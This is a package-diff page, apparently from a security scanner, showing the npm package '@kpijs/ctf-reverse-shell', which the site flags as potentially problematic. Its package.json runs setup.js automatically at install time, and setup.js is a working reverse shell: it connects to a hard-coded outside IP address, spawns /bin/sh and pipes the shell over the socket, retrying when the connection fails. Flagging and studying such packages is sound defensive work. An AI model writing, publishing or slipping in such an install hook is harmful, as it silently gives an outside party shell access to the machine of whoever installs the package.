@kpijs/ctf-reverse-shell 0.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @kpijs/ctf-reverse-shell might be problematic. Click here for more details.
- package/index.js +2 -0
- package/package.json +17 -0
- package/setup.js +21 -0
package/index.js
ADDED
package/package.json
ADDED
@@ -0,0 +1,17 @@
|
|
1
|
+
{
|
2
|
+
"name": "@kpijs/ctf-reverse-shell",
|
3
|
+
"author": "thezzisu <thezzisu@gmail.com>",
|
4
|
+
"version": "0.0.1",
|
5
|
+
"license": "AGPL-3.0-only",
|
6
|
+
"type": "module",
|
7
|
+
"scripts": {
|
8
|
+
"install": "node setup.js"
|
9
|
+
},
|
10
|
+
"dependencies": {},
|
11
|
+
"devDependencies": {},
|
12
|
+
"main": "index.js",
|
13
|
+
"files": [
|
14
|
+
"index.js",
|
15
|
+
"setup.js"
|
16
|
+
]
|
17
|
+
}
|
package/setup.js
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
import net from 'net'
|
2
|
+
import { spawn } from 'child_process'
|
3
|
+
|
4
|
+
const HOST = '192.3.86.104'
|
5
|
+
const PORT = '1688'
|
6
|
+
const TIMEOUT = '5000'
|
7
|
+
|
8
|
+
function c(HOST, PORT) {
|
9
|
+
var client = new net.Socket()
|
10
|
+
client.connect(PORT, HOST, function () {
|
11
|
+
var sh = spawn('/bin/sh', [])
|
12
|
+
client.write('Connected\r\n')
|
13
|
+
client.pipe(sh.stdin)
|
14
|
+
sh.stdout.pipe(client)
|
15
|
+
})
|
16
|
+
client.on('error', function () {
|
17
|
+
setTimeout(c(HOST, PORT), TIMEOUT)
|
18
|
+
})
|
19
|
+
}
|
20
|
+
|
21
|
+
c(HOST, PORT)
|